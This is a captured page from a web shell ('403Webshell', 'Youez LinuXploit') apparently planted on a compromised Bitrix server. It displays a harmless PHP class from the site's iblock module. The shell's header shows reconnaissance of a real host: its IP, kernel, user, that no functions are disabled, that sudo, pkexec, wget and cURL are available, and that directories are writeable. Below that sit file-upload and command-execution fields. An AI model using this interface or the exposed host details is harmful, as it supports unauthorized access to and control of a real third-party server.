403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/iblock/lib/grid/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/iblock/lib/grid/rowtype.php
<?php

namespace Bitrix\Iblock\Grid;

class RowType
{
	public const ELEMENT = 'E';
	public const SECTION = 'S';

	/**
	 * @param string $type
	 * @param string|int $id
	 * @return string
	 */
	public static function getIndex(string $type, string|int $id): string
	{
		return ($type === self::SECTION ? self::SECTION : self::ELEMENT) . $id;
	}

	/**
	 * @param string $index
	 *
	 * @return null|array in format `[type, id]`
	 */
	public static function parseIndex(string $index): ?array
	{
		$re = '/^(E|S|)(\d+)$/';
		if (preg_match($re, $index, $m))
		{
			$type = ($m[1] ?: RowType::ELEMENT);
			$index = (int)$m[2];

			return [$type, $index];
		}
		elseif (is_numeric($index))
		{
			return [RowType::ELEMENT, (int)$index];
		}

		return null;
	}

	/**
	 * Parses identifiers and groups them by type.
	 *
	 * @param string[] $ids
	 *
	 * @return array in format `[$elementIds, $sectionIds]`
	 */
	public static function parseIndexList(array $ids): array
	{
		$elementIds = [];
		$sectionIds = [];

		foreach ($ids as $id)
		{
			$index = self::parseIndex($id);
			if ($index === null)
			{
				continue;
			}
			[$type, $id] = $index;

			if ($type === self::ELEMENT)
			{
				$elementIds[] = $id;
			}
			else
			{
				$sectionIds[] = $id;
			}
		}

		return [$elementIds, $sectionIds];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit